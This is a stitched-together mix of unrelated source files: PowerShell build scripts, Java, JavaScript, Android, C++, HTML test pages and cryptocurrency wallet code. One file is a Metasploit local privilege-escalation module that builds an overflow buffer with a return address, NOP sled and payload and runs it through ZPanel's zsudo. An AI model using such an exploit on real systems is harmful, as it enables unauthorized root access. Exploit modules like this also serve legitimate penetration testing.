        # Get the part of the output path that we need to add to the PSModulePath
        if ($OutputDirectory -match "$Module$") {
            $OutputDirectory = Split-Path $OutputDirectory
        }
        if (-not (@($Env:PSModulePath.Split([IO.Path]::PathSeparator)) -contains $OutputDirectory)) {
            Write-Verbose "Adding $($OutputDirectory) to PSModulePath"
            $Env:PSModulePath = $OutputDirectory + [IO.Path]::PathSeparator + $Env:PSModulePath
        }
    }

    $Specs = @{ Path = Join-Path $PSScriptRoot Specs }
    # Just to make sure everything is kosher, run tests in a clean session
    $PSModulePath = $Env:PSModulePath
    Invoke-Command {
        param($SemVer)
        # We need to make sure that the PSModulePath has our output at the front
        $Env:PSModulePath = $OutputDirectory + [IO.Path]::PathSeparator +
                            $Env:PSModulePath

        Write-Host "Testing $Module $SemVer"
        $SemVer = ($SemVer -split "-")[0]

        # We need to make sure we have loaded ONLY the right version of the module
        Get-Module $Module -All | Remove-Module -ErrorAction SilentlyContinue -Force
        $Specs["CodeCoverage"] = Import-Module $Module -RequiredVersion $SemVer -Passthru | Select-Object -Expand Path
        Invoke-Gherkin @Specs
    } -ArgumentList @($SemVer)

} finally {
    Pop-Location -StackName BuildTestStack
}


text:
package org.neo4j.jdbc.bolt.cache;

import org.neo4j.driver.AuthToken;
import org.neo4j.driver.Config;
import org.neo4j.driver.Driver;

import java.net.URI;
import java.net.URISyntaxException;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import java.util.concurrent.ConcurrentHashMap;
import java.util.function.Function;

/**
 * A cache for the driver instances in order to reduce the number of them.
 * In the JDBC specification the connection has the properties meanwhile in Neo4j they are on the driver.
 */
public class BoltDriverCache {

    private final Map<BoltDriverCacheKey, Driver> cache;
    private final Function<BoltDriverCacheKey, Driver> builder;

    /**
     * Setup the cache for the specific building function
     * @param builder
     */
    public BoltDriverCache(Function<BoltDriverCacheKey, Driver> builder){
        this.builder = builder;
        this.cache = new ConcurrentHashMap<>();
    }

    /**
     * Get driver from cache, building it if necessary
     * @param routingUris
     * @param config
     * @param authToken
     * @param info
     * @return
     */
    public Driver getDriver(List<URI> routingUris, Config config, AuthToken authToken, Properties info) {
        return cache.computeIfAbsent(new BoltDriverCacheKey(routingUris, config, authToken, info),
            key -> new BoltDriverCached(builder.apply(key), this, key));
    }

    public Driver removeFromCache(BoltDriverCacheKey key){
        return cache.remove(key);
    }

    /**
     * The internal cache, for inspection only
     * @return
     */
    public Map<BoltDriverCacheKey, Driver> getCache() {
        return Collections.unmodifiableMap(cache);
    }
}


text:
import axios from 'axios'
import { Toast } from 'buefy/dist/components/toast'
import i18next from 'i18next'
import humps from 'humps'
import baseURI from '@/settings/api_base'
import store from '@/store'
import router from '@/router'

// const CSRF_TOKEN = {'X-CSRF-Token': document.getElementsByName('csrf-token')[0].getAttribute('content')}
// axios.interceptors.request.use(
//   (config) => {
//     config.withCredentials = true
//     return config
//   },
//   (error) => Promise.reject(error)
// )

axios.defaults.withCredentials = true

axios.interceptors.response.use((response) => {
// Do something with response data
  if (response.data && response.data.messageType) {
    Toast.open({
      duration: 5000,
      message: i18next.t(response.data.messageType),
      type: 'is-success'})
  }
  return response
}, (error) => {
  // Do something with response error
  if (error.response) {
    // The request was made and the server responded with a status code
    // that falls out of the range of 2xx
    if (error.response.data) {
      Toast.open({
        duration: 2000,
        message: i18next.t(error.response.data.messageType),
        type: 'is-danger'})
    } else {
      if (error.response.status) {
        console.log('status : ', error.response.status)
      }
      if (error.response.headers) {
        console.log('header : ' + JSON.stringify(error.response.headers))
      }
    }
    if (error.response.status == 401) {
      store.dispatch('logout')
      router.push('/login')
    }

  } else if (error.request) {
    // The request was made but no response was received
    // `error.request` is an instance of XMLHttpRequest in the browser and an instance of
    // http.ClientRequest in node.js
    console.log('request : ' + error.request)
  } else {
    // Something happened in setting up the request that triggered an Error
    console.log('Error', error.message)
    console.log('config error : ' + JSON.stringify(error.config))
  }
  // return Promise.reject(error)
})

class BaseAPI {
  constructor (endpoint) {
    console.log(`endpoint ${endpoint}`)
    this.endpoint = baseURI + endpoint
  }

  get (path, params = null, data = null) {
    return this.send('get', path, params, data)
  }

  post (path, params = null, data = null) {
    return this.send('post', path, params, data)
  }

  put (path, params = null, data = null) {
    return this.send('put', path, params, data)
  }

  delete (path, params = null, data = null) {
    return this.send('delete', path, params, data)
  }

  send (method, path, params = null, data = null) {
    var url
    console.log(`send ${method}, ${path}, ${params}, ${data}`)
    if (path) {
      url = `${this.endpoint}/${path}`
    } else {
      url = `${this.endpoint}`
    }

    return axios({
      method: method,
      url: url,
      params: params,
      data: data
      // headers: Object.assign({'X-Requested-With': 'XMLHttpRequest'}, CSRF_TOKEN)
    }).then(response => {
      // console.log(`response: ${response}`)
      var data = {}
      if(response) {
        data = humps.camelizeKeys(response.data)
      }
      return Promise.resolve(data)
      // if (data.meta.code == 200) {
      //   return Promise.resolve(data)
      // } else {

      // }
    })
  }
}

export default BaseAPI


text:
npf.io
=====

This is the html behind [npf.io](http://npf.io).  It was generated from the code
in http://github.com/natefinch/npf using the [Hugo](http://hugo.spf13.com)
static site generator.


text:
package com.nearucenterplaza.redenvelopeassistant.ui.activity;

import com.nearucenterplaza.redenvelopeassistant.R;
import com.nearucenterplaza.redenvelopeassistant.service.core.SettingHelper;

import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.support.v4.app.FragmentActivity;
import android.support.v7.app.ActionBar;
import android.support.v7.app.ActionBarActivity;
import android.view.View;
import android.widget.CheckBox;
import android.widget.RadioButton;
import android.widget.RadioGroup;
import android.widget.RadioGroup.OnCheckedChangeListener;

public class SettingActivity extends ActionBarActivity{
	RadioGroup mModeRg;
	RadioGroup mLanguageRg;
	RadioButton mAutoModeRb;
	RadioButton mSafeModeRb;

	public static void actionTo(Context context){
		Intent intent=new Intent(context, SettingActivity.class);
		context.startActivity(intent);
	}

	public void onCreate(Bundle bundle){
		super.onCreate(bundle);
		setContentView(R.layout.activity_settings);
		initView();
	}

	void initView() {
		// find views
		mModeRg=(RadioGroup) findViewById(R.id.settings_re_mode_rg);
		mLanguageRg=(RadioGroup)findViewById(R.id.settings_language_rg);
		mAutoModeRb = (RadioButton) findViewById(R.id.settings_re_auto_mode_rb);
		mSafeModeRb=(RadioButton)findViewById(R.id.settings_re_safe_mode_rb);

		// set listeners
		mModeRg.setOnCheckedChangeListener(new OnCheckedChangeListener() {

			@Override
			public void onCheckedChanged(RadioGroup group, int checkedId) {
				switch (checkedId) {
				case R.id.settings_re_auto_mode_rb:
					SettingHelper.setREAutoMode(mAutoModeRb.isChecked());
					SettingHelper.setRESafeMode(!mAutoModeRb.isChecked());
					break;
				case R.id.settings_re_safe_mode_rb:
					SettingHelper.setREAutoMode(!mSafeModeRb.isChecked());
					SettingHelper.setRESafeMode(mSafeModeRb.isChecked());
					break;
				default:
					break;
				}
			}
		});

		mLanguageRg.setOnCheckedChangeListener(new OnCheckedChangeListener() {

			@Override
			public void onCheckedChanged(RadioGroup group, int checkedId) {
				switch (checkedId) {
				case R.id.settings_language_simple_chinese_rb:
					break;
				case R.id.settings_language_traditional_chinese_rb:
					break;
				case R.id.settings_language_english_rb:
					break;
				default:
					break;
				}
			}
		});

		// set values
		setTitle(getString(R.string.action_settings));
		mAutoModeRb.setChecked(SettingHelper.getREAutoMode());
		mSafeModeRb.setChecked(SettingHelper.getRESafeMode());
	}

}


text:
namespace containers {
namespace nscon {
namespace cli {

// Main function of nscon.
int Main(int argc, char *argv[]) {
  NsconRunner nscon_runner;
  return nscon_runner.Run(argc, argv);
}

}  // namespace cli
}  // namespace nscon
}  // namespace containers


text:
@interface AllCategoryTableViewCell : UITableViewCell
{

}

@property (nonatomic, strong, readwrite) UIImage *image;
@property (nonatomic, assign, readwrite) CGPoint imageOffset;
@property (nonatomic, retain) NSString * cateName;

-(void)setCategoryCellWithName:(NSString *)name imgUrl:(NSString *)img ID:(NSInteger )cateID;

@end


text:
chapter: Service Hooks
layout: slide
tags: ['advanced/service-hooks']
---

* Support for Popular CI Servers
* Setup & Managed on GitHub
* Build status in one place

{% capture notes %}
Jenkins (e.g. CloudBees)
Travis CI
CircleCI
{% endcapture %}
{% include hydeslides/core/notes %}


text:
<!doctype html>

  <meta charset="utf-8">
  <title>AMP Analytics</title>
  <link rel="canonical" href="browsi-prediction.amp.html" >
  <meta name="viewport" content="width=device-width,minimum-scale=1,initial-scale=1">

AMP Browsi Prediction

More about us at Browsi

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam pellentesque augue quis elementum tempus. Pellentesque sit amet neque bibendum, sagittis purus vitae, pellentesque magna. Vestibulum non viverra metus, eget feugiat lacus. Nulla in maximus orci. Maecenas id turpis vel ipsum vestibulum bibendum ut sit amet magna. Nullam hendrerit ex at est eleifend, nec dignissim nibh rutrum. Aliquam quis tellus et nibh faucibus laoreet in eget turpis. Nam quam nisl, porttitor vel ex eget, dapibus placerat dui. Mauris commodo pellentesque leo, eu tempus quam. In hac habitasse platea dictumst. Suspendisse non ante finibus, luctus augue non, luctus orci. Vestibulum ornare lacinia aliquam. In sollicitudin vehicula vulputate. Sed mi elit, commodo nec sapien nec, pretium bibendum leo. Donec id justo tortor. Ut in mauris dapibus, laoreet metus vitae, dictum nisi.

Integer dapibus egestas arcu. Nunc vitae velit congue, placerat augue quis, suscipit nisi. Donec suscipit imperdiet turpis pharetra feugiat. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Phasellus aliquam eleifend dolor, at lacinia orci semper vel. Nunc semper sem vel tincidunt posuere. Nunc lobortis velit vitae condimentum mollis. Morbi eu ullamcorper mauris. Pellentesque ac eros maximus, pulvinar sapien vitae, semper nisi. Curabitur imperdiet non mauris vitae sollicitudin.

Nam posuere velit euismod risus pulvinar, in sollicitudin sapien consectetur. Vestibulum nec ex odio. Quisque at elit nec nunc ultricies lacinia nec non lorem. Maecenas porttitor consequat mauris, vitae porttitor ligula pellentesque ut. Pellentesque rhoncus diam vel lacus lobortis imperdiet. Sed maximus dictum hendrerit. Vivamus ornare, purus in laoreet sagittis, est ante pretium mauris, vel vulputate arcu erat eget mauris. Suspendisse eu lorem metus. Aliquam tempus aliquet urna, vitae mollis lacus pretium vitae. Etiam semper gravida commodo. Maecenas at pulvinar quam. Nullam dolor ipsum, ornare a sollicitudin et, sodales porttitor neque.

<amp-ad id="browsi-ex-1" width="300" height="250"
        type="doubleclick"
        data-slot="/4119129/doesnt-exist"
        rtc-config='{
            "vendors": {
              "browsi": {"PUB_KEY": "pub-k", "SITE_KEY": "site-k"}
            },
            "timeoutMillis": 1000
        }'>
</amp-ad>

Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Aliquam in ex porta, imperdiet elit sit amet, condimentum diam.

Etiam fermentum nisi at porta pulvinar.

<amp-ad id="browsi-ex-2" width="320" height="50"
        type="doubleclick"
        data-slot="/4119129/mobile_ad_banner"
        rtc-config='{
            "vendors": {
              "browsi": {"PUB_KEY": "pub-k", "SITE_KEY": "site-k"}
            },
            "timeoutMillis": 1000
          }'>
</amp-ad>

Proin mattis neque vel elit posuere molestie.

Integer tincidunt sem sed nunc auctor elementum.

Integer a felis in ipsum aliquet auctor sit amet a neque.

Sed suscipit dolor molestie, rhoncus quam ac, lacinia ex.

Curabitur et tellus vel justo ultrices aliquet sed id turpis.

Nam finibus risus at justo elementum bibendum.

In non lacus non urna congue feugiat at vel diam.

Integer hendrerit augue interdum dui venenatis, sit amet tristique mauris cursus.

Etiam quis eros viverra, tincidunt justo in, facilisis nunc.

Aliquam at lacus faucibus, congue lorem interdum, semper mauris.

Ut vulputate erat vel feugiat pharetra.

Morbi id augue id orci sagittis tempus.

Vestibulum varius libero ac dignissim sodales.

Aenean ac sem eget libero varius viverra sit amet vitae nunc.


text:
<!DOCTYPE html>

    <meta http-equiv="refresh" content="0;URL=trait.ByteOrder.html">

Redirecting to trait.ByteOrder.html...


text:
package sword.langbook.android.activities

import android.app.Activity
import android.content.Intent
import android.os.Bundle
import android.util.Log
import android.view.{LayoutInflater, View}
import sword.langbook.android.{TR, R}
import sword.langbook.android.TypedResource._
import sword.langbook.db.{Language, Concept}

object Question {
  private val className = "sword.langbook.android.activities.Question"

  def openWith(activity: Activity, requestCode: Int = 0) = {
    val intent = new Intent()
    intent.setClassName(activity, className)

    if (requestCode > 0) activity.startActivityForResult(intent, requestCode)
    else activity.startActivity(intent)
  }
}

class Question extends BaseActivity with View.OnClickListener {

  object StateBundleKeys {
    val question = "q"
    val displayAnswer = "da"
  }

  private var _question: sword.langbook.Question = null
  private var _displayingAnswer: Boolean = false

  override def onCreate(savedInstanceState: Bundle): Unit = {
    super.onCreate(savedInstanceState)
    setContentView(R.layout.question)

    if (savedInstanceState != null) {
      _question = Option(savedInstanceState.getString(StateBundleKeys.question))
          .flatMap(sword.langbook.Question.decode(linkedDb, _)).orNull
      _displayingAnswer = savedInstanceState.getBoolean(StateBundleKeys.displayAnswer)
    }

    if (_question == null) {
      _question = questionBuilder(linkedDb).orNull
    }

    if (_question == null) finish()
    else updateView()
  }

  def updateView(): Unit = {
    val button = findView(TR.checkAnswerButton)
    if (_displayingAnswer) {
      button.setText(R.string.nextQuestionButton)
    }
    else {
      button.setText(R.string.checkAnswerButton)
    }
    button.setOnClickListener(this)

    val container = findView(TR.entryContainer)
    container.removeAllViews()

    val inflater = LayoutInflater.from(this)
    for {
      (alphabet, hint) <- _question.clues
      // TODO: This is getting the first word associated to the Alphabet, this should be checking the language
      alphabetWord <- alphabet.concept.words.headOption
      label <- alphabetWord.text.get(alphabetWord.language.preferredAlphabet)
    } {
      val entry = inflater.inflate(TR.layout.question_entry, container)
      entry.findView(TR.questionTitle).setText(label)
      entry.findView(TR.questionHint).setText(hint)
    }

    for {
      (alphabet, hint) <- _question.possibleAnswers.head
      // TODO: This is getting the first word associated to the Alphabet, this should be checking the language
      alphabetWord <- alphabet.concept.words.headOption
      label <- alphabetWord.text.get(alphabetWord.language.preferredAlphabet)
    } {
      val entry = inflater.inflate(TR.layout.question_entry, container)
      entry.findView(TR.questionTitle).setText(label)

      val text = if (_displayingAnswer) hint else "?"
      entry.findView(TR.questionHint).setText(text)
    }
  }

  override def onClick(v: View): Unit = {
    if (_displayingAnswer) {
      _displayingAnswer = false
      _question = questionBuilder(linkedDb).orNull
      if (_question == null) finish()
      else updateView()
    }
    else {
      _displayingAnswer = true
      updateView()
    }
  }

  override def onSaveInstanceState(state: Bundle): Unit = {
    state.putBoolean(StateBundleKeys.displayAnswer, _displayingAnswer)
    state.putString(StateBundleKeys.question, _question.encodedQuestion)
  }
}


text:
require 'msf/core'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Exploit::Local::Linux

  def initialize(info = {})
    super( update_info( info, {
        'Name'          => 'ZPanel zsudo Local Privilege Escalation Exploit',
        'Description'   => %q{
          This module abuses the zsudo binary, installed with zpanel, to escalate
          privileges. In order to work, a session with access to zsudo on the sudoers
          configuration is needed. This module is useful for post exploitation of ZPanel
          vulnerabilities, where typically web server privileges are acquired, and this
          user is allowed to execute zsudo on the sudoers file.
        },
        'License'       => MSF_LICENSE,
        'Author'        => [ 'sinn3r', 'juan vazquez' ],
        'DisclosureDate' => 'Jun 07 2013',
        'Platform'      => [ 'linux' ],
        'Arch'          => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes'  => [ 'meterpreter' ],
        'Targets'       =>
          [
            # x86
            [ 'Linux x86',
              {
                'Arch' => ARCH_X86,
                'Ret' => 0x80488b2,
                'PayloadEncode' => 'none',
                'Payload'        =>
                {
                  'EncoderType'     => Msf::Encoder::Type::Raw      # else it will fail with SIGILL, this CPU is crippled
                },
              }
            ],

            # x64
            [ 'Linux x64',
              {
                'Arch' => ARCH_X64,
                'Ret' => 0xffffeba0,
                'PayloadEncode' => 'none',
                'Payload'        =>
                {
                  'EncoderType'     => Msf::Encoder::Type::Raw      # else it will fail with SIGILL, this CPU is crippled
                },
              }
            ],

          ],
        'DefaultOptions' => { 'WfsDelay' => 10 },
        'DefaultTarget' => 0,
      }
      ))
    register_options([
        OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
        OptString.new("exe", [ true, "Path to zsudo executable", "/u4/buffer_overrun" ]),
      ])
  end

  # Returns that the remote host is always vulnerable
  def check
    return Exploit::CheckCode::Vulnerable
  end

  def exploit
    print_status("Running ...")

    # Build the buffer for transmission
#    buf = "A" * 0x16
#    buf += [ target.ret ].pack('V')
#    buf += "\x90" * 0x20
#    buf += payload.encoded

    buf = "A" * 0x16
    buf += [ target.ret ].pack('V')
    buf += "\x90" * 0x20
    buf += payload.encoded

    elog("Payload:\n")
    elog("#{payload.encoded}")

    exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.txt"
    write_file(exe_file, buf)

    elog("#{datastore["exe"]} #{exe_file}")
    cmd_exec("#{datastore["exe"]} #{exe_file}")
    elog("#{buf}")

  end
end


text:
<!DOCTYPE html>
<script src="/resources/testharness.js"></script>
<script src="/resources/testharnessreport.js"></script>

<meta http-equiv="Content-Security-Policy" content="img-src 'none'">
<title>about:blank in popup inherits CSPs from the navigation initiator</title>
<body>

<script>
  const message_from = (w) => {
    return new Promise(resolve => {
      window.addEventListener('message', msg => {
        if (msg.source == w)
          resolve(msg.data);
      });
    });
  };

  const testCases = [
    {
      previous_origin: window.origin,
      name: "Popup being navigated to about:blank was same-origin.",
    },
    {
      previous_origin: "http://{{hosts[alt][]}}:{{ports[http][0]}}",
      name: "Popup being navigated to about:blank was cross-origin.",
    },
  ];

  testCases.forEach(testCase => {
    promise_test(async t => {
      // Create a popup and navigate it.
      const popup = window.open("about:blank", testCase.name);
      const loaded = message_from(popup);
      window.open(testCase.previous_origin + "/content-security-policy/inheritance/support/postmessage-opener.html", testCase.name);
      t.add_cleanup(() => popup.close());

      assert_equals(await loaded, "ready");

      // Navigate the popup to "about:blank".
      window.open("about:blank", testCase.name);
      await t.step_wait(
        condition = () => {
          try {
            return popup.location.href == "about:blank";
          } catch {}
          return false;
        },
        description = "Wait for the popup to navigate.",
        timeout=3000,
        interval=50);

      // Now create an img in the popup and check if it is blocked by CSPs.
      const script = popup.document.createElement('script');
      script.innerText = `
        function messageBack(msg) {
          opener.postMessage(msg ,"*");
        }
      `;
      popup.document.head.appendChild(script);
      const div = popup.document.createElement('div');

      const img_url = window.origin + "/content-security-policy/support/fail.png";
      div.innerHTML = `
        <img src="${img_url}"
             onload="messageBack('img loaded');"
             onerror="messageBack('img blocked');"
        >
      `;

      const msg = message_from(popup);
      popup.document.body.appendChild(div);
      assert_equals(await msg, "img blocked");
    }, testCase.name);
  });
</script>


text:
<!doctype html>

<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="import" href="elements.html">

<link rel="import" href="bower_components/polymer/polymer.html">

	<link rel="import" href="bower_components/iron-flex-layout/iron-flex-layout.html">

	<app-header condenses>
      <app-toolbar class="main-title-toolbar">

SNOBALL

      </app-toolbar>
    </app-header>

			<template is="dom-bind" id="webapp">
				<snoball-event-collection event-images="{{snoballEventImages}}" id="snoballEventCollection" items="{{snoballEvents}}"></snoball-event-collection>
				<snoball-input-field id="snoballInput"></snoball-input-field>
			</template>


text:
// Class header file...
#include "XalanDocumentPrefixResolver.hpp"

#include <xalanc/XalanDOM/XalanAttr.hpp>
#include <xalanc/XalanDOM/XalanElement.hpp>
#include <xalanc/XalanDOM/XalanNamedNodeMap.hpp>

#include <xalanc/DOMSupport/DOMServices.hpp>

XALAN_CPP_NAMESPACE_BEGIN

XalanDocumentPrefixResolver::XalanDocumentPrefixResolver(
			const XalanDocument*	theDocument,
			const XalanDOMString&	theURI,
            MemoryManagerType&      theManager) :
	m_namespaces(theManager),
	m_uri(theURI, theManager)
{
	assert(theDocument != 0);

	NamespaceNodesTreeWalker	theWalker(m_namespaces);

	theWalker.traverse(theDocument);
}

XalanDocumentPrefixResolver::~XalanDocumentPrefixResolver()
{
}

const XalanDOMString*
XalanDocumentPrefixResolver::getNamespaceForPrefix(const XalanDOMString&	prefix) const
{
	const NamespacesMapType::const_iterator		i = m_namespaces.find(&prefix);

	if (i == m_namespaces.end())
	{
		return 0;
	}
	else
	{
		const AttributeVectorType&	theVector = (*i).second;

		assert(theVector.empty() == false);

		if (theVector.size() == 1)
		{
			assert(theVector.front() != 0);

			return &(theVector.front()->getNodeValue());
		}
		else
		{
			return duplicateBinding(theVector);
		}
	}
}

const XalanDOMString&
XalanDocumentPrefixResolver::getURI() const
{
	return m_uri;
}

const XalanDOMString*
XalanDocumentPrefixResolver::duplicateBinding(const AttributeVectorType&	theVector) const
{
	assert(theVector.front() != 0);

	return &(theVector.front()->getNodeValue());
}

XalanDocumentPrefixResolver::NamespaceNodesTreeWalker::NamespaceNodesTreeWalker(NamespacesMapType& 	theMap) :
	TreeWalker(),
	m_map(theMap)
{
}

XalanDocumentPrefixResolver::NamespaceNodesTreeWalker::~NamespaceNodesTreeWalker()
{
}

bool
XalanDocumentPrefixResolver::NamespaceNodesTreeWalker::startNode(const XalanNode*	node)
{
	assert(node != 0);

	switch(node->getNodeType())
	{
	case XalanNode::ELEMENT_NODE:
		{
			const XalanElement*	theElementNode =
#if defined(XALAN_OLD_STYLE_CASTS)
				(const XalanElement*)node;
#else
				static_cast<const XalanElement*>(node);
#endif

			const XalanNamedNodeMap* const	atts = theElementNode->getAttributes();
			assert(atts != 0);

			const unsigned int	theSize = atts->getLength();

			for (unsigned int i = 0; i < theSize; ++i)
			{
				assert(atts->item(i) != 0 && atts->item(i)->getNodeType() == XalanNode::ATTRIBUTE_NODE);

				const XalanAttr* const	theAttr =
#if defined(XALAN_OLD_STYLE_CASTS)
					(const XalanAttr*)atts->item(i);
#else
					static_cast<const XalanAttr*>(atts->item(i));
#endif

				if (DOMServices::isNamespaceDeclaration(*theAttr) == true)
				{
					m_map[&theAttr->getLocalName()].push_back(theAttr);
				}
			}
		}
		break;

	default:
		// Do nothing...
		break;
	}

	return false;
}

bool
XalanDocumentPrefixResolver::NamespaceNodesTreeWalker::startNode(XalanNode*		node)
{
	assert(node != 0);

#if defined(XALAN_OLD_STYLE_CASTS)
	return startNode((const XalanNode*)node);
#else
	return startNode(const_cast<const XalanNode*>(node));
#endif
}

bool
XalanDocumentPrefixResolver::NamespaceNodesTreeWalker::endNode(const XalanNode*		/* node */)
{
	return false;
}

bool
XalanDocumentPrefixResolver::NamespaceNodesTreeWalker::endNode(XalanNode*	/* node */)
{
	return false;
}

XALAN_CPP_NAMESPACE_END


text:
BASE_DIR	= ../..
include $(BASE_DIR)/build/GNUMake/paths.mak
include $(BASE_DIR)/build/GNUMake/$(TOOLS_MAK)

CXX_SRC 		 = friLBRClient.cpp \
			 		friLBRCommand.cpp \
			 		friLBRState.cpp

INC_DIR		+= $(CLIENTBASE_DIR) $(NANOPB_DIR) $(PROTOBUF_DIR) $(PROTOBUF_GEN_DIR)
CXXFLAGS 	+=
LDFLAGS 		+=

include $(BASE_DIR)/build/GNUMake/rules.mak


text:
module BurstNet
  class Site < BurstNet::Model
  end
end


text:
<!DOCTYPE html>

  <title>scarfdestroyer</title>
  <meta charset="UTF-8">
  <link rel="stylesheet" type="text/css" href="">

        The idea behind DBC is great because a lot of people go to college and learn a tremendous amount of information but dont really use the majority of it in their line of work. They get to their first job and then learn everything they need to know once they get there. Being able to go to DBC and learn things on a basis of whether or not it is important for a Ruby web developer to know it, is refreshing.

        DevBootcamp wants to create the full package. They want each of their students to learn what it takes to be a Ruby Dev. This may be everything from learning Html, CSS, Ruby, and Rails to understanding how to interect with people in the tech industry to best get things done.

        For myself personally, I am excited about putting myself to work and seeing what I can learn in a few short months. I am however most worried about the group coding aspects of DBC as I come from a college where we mostly coded alone. My expectations havent changed much but i am surely getting more and more nervous to have to code with and in front of people I have never met.


text:
using namespace json_spirit;
using namespace std;

void EnsureWalletIsUnlocked();

namespace bt = boost::posix_time;

// Extended DecodeDumpTime implementation, see this page for details:
// http://stackoverflow.com/questions/3786201/parsing-of-date-time-from-string-boost
const std::locale formats[] = {
    std::locale(std::locale::classic(),new bt::time_input_facet("%Y-%m-%dT%H:%M:%SZ")),
    std::locale(std::locale::classic(),new bt::time_input_facet("%Y-%m-%d %H:%M:%S")),
    std::locale(std::locale::classic(),new bt::time_input_facet("%Y/%m/%d %H:%M:%S")),
    std::locale(std::locale::classic(),new bt::time_input_facet("%d.%m.%Y %H:%M:%S")),
    std::locale(std::locale::classic(),new bt::time_input_facet("%Y-%m-%d"))
};

const size_t formats_n = sizeof(formats)/sizeof(formats[0]);

std::time_t pt_to_time_t(const bt::ptime& pt)
{
    bt::ptime timet_start(boost::gregorian::date(1970,1,1));
    bt::time_duration diff = pt - timet_start;
    return diff.ticks()/bt::time_duration::rep_type::ticks_per_second;
}

int64_t DecodeDumpTime(const std::string& s)
{
    bt::ptime pt;

    for(size_t i=0; i<formats_n; ++i)
    {
        std::istringstream is(s);
        is.imbue(formats[i]);
        is >> pt;
        if(pt != bt::ptime()) break;
    }

    return pt_to_time_t(pt);
}

std::string static EncodeDumpTime(int64_t nTime) {
    return DateTimeStrFormat("%Y-%m-%dT%H:%M:%SZ", nTime);
}

std::string static EncodeDumpString(const std::string &str) {
    std::stringstream ret;
    BOOST_FOREACH(unsigned char c, str) {
        if (c <= 32 || c >= 128 || c == '%') {
            ret << '%' << HexStr(&c, &c + 1);
        } else {
            ret << c;
        }
    }
    return ret.str();
}

std::string DecodeDumpString(const std::string &str) {
    std::stringstream ret;
    for (unsigned int pos = 0; pos < str.length(); pos++) {
        unsigned char c = str[pos];
        if (c == '%' && pos+2 < str.length()) {
            c = (((str[pos+1]>>6)*9+((str[pos+1]-'0')&15)) << 4) |
                ((str[pos+2]>>6)*9+((str[pos+2]-'0')&15));
            pos += 2;
        }
        ret << c;
    }
    return ret.str();
}

class CTxDump
{
public:
    CBlockIndex *pindex;
    int64_t nValue;
    bool fSpent;
    CWalletTx* ptx;
    int nOut;
    CTxDump(CWalletTx* ptx = NULL, int nOut = -1)
    {
        pindex = NULL;
        nValue = 0;
        fSpent = false;
        this->ptx = ptx;
        this->nOut = nOut;
    }
};

Value importprivkey(const Array& params, bool fHelp)
{
    if (fHelp || params.size() < 1 || params.size() > 3)
        throw runtime_error(
            "importprivkey <iadixcoinprivkey> [label] [rescan=true]\n"
            "Adds a private key (as returned by dumpprivkey) to your wallet.");

    string strSecret = params[0].get_str();
    string strLabel = "";
    if (params.size() > 1)
        strLabel = params[1].get_str();

    // Whether to perform rescan after import
    bool fRescan = true;
    if (params.size() > 2)
        fRescan = params[2].get_bool();

    CBitcoinSecret vchSecret;
    bool fGood = vchSecret.SetString(strSecret);

    if (!fGood) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid private key");
    if (fWalletUnlockStakingOnly)
        throw JSONRPCError(RPC_WALLET_UNLOCK_NEEDED, "Wallet is unlocked for staking only.");

    CKey key = vchSecret.GetKey();
    CPubKey pubkey = key.GetPubKey();
    CKeyID vchAddress = pubkey.GetID();
    {
        LOCK2(cs_main, pwalletMain->cs_wallet);

        pwalletMain->MarkDirty();
        pwalletMain->SetAddressBookName(vchAddress, strLabel);

        // Don't throw error in case a key is already there
        if (pwalletMain->HaveKey(vchAddress))
            return Value::null;

        pwalletMain->mapKeyMetadata[vchAddress].nCreateTime = 1;

        if (!pwalletMain->AddKeyPubKey(key, pubkey))
            throw JSONRPCError(RPC_WALLET_ERROR, "Error adding key to wallet");

        // whenever a key is imported, we need to scan the whole chain
        pwalletMain->nTimeFirstKey = 1; // 0 would be considered 'no value'

        if (fRescan) {
            pwalletMain->ScanForWalletTransactions(pindexGenesisBlock, true);
            pwalletMain->ReacceptWalletTransactions();
        }
    }

    return Value::null;
}

Value importwallet(const Array& params, bool fHelp)
{
    if (fHelp || params.size() != 1)
        throw runtime_error(
            "importwallet <filename>\n"
            "Imports keys from a wallet dump file (see dumpwallet).");

    EnsureWalletIsUnlocked();

    ifstream file;
    file.open(params[0].get_str().c_str());
    if (!file.is_open())
        throw JSONRPCError(RPC_INVALID_PARAMETER, "Cannot open wallet dump file");

    int64_t nTimeBegin = pindexBest->nTime;

    bool fGood = true;

    while (file.good()) {
        std::string line;
        std::getline(file, line);
        if (line.empty() || line[0] == '#')
            continue;

        std::vector<std::string> vstr;
        boost::split(vstr, line, boost::is_any_of(" "));
        if (vstr.size() < 2)
            continue;
        CBitcoinSecret vchSecret;
        if (!vchSecret.SetString(vstr[0]))
            continue;
        CKey key = vchSecret.GetKey();
        CPubKey pubkey = key.GetPubKey();
        CKeyID keyid = pubkey.GetID();
        if (pwalletMain->HaveKey(keyid)) {
            LogPrintf("Skipping import of %s (key already present)\n", CBitcoinAddress(keyid).ToString());
            continue;
        }
        int64_t nTime = DecodeDumpTime(vstr[1]);
        std::string strLabel;
        bool fLabel = true;
        for (unsigned int nStr = 2; nStr < vstr.size(); nStr++) {
            if (boost::algorithm::starts_with(vstr[nStr], "#"))
                break;
            if (vstr[nStr] == "change=1")
                fLabel = false;
            if (vstr[nStr] == "reserve=1")
                fLabel = false;
            if (boost::algorithm::starts_with(vstr[nStr], "label=")) {
                strLabel = DecodeDumpString(vstr[nStr].substr(6));
                fLabel = true;
            }
        }
        LogPrintf("Importing %s...\n", CBitcoinAddress(keyid).ToString());
        if (!pwalletMain->AddKey(key)) {
            fGood = false;
            continue;
        }
        pwalletMain->mapKeyMetadata[keyid].nCreateTime = nTime;
        if (fLabel)
            pwalletMain->SetAddressBookName(keyid, strLabel);
        nTimeBegin = std::min(nTimeBegin, nTime);
    }
    file.close();

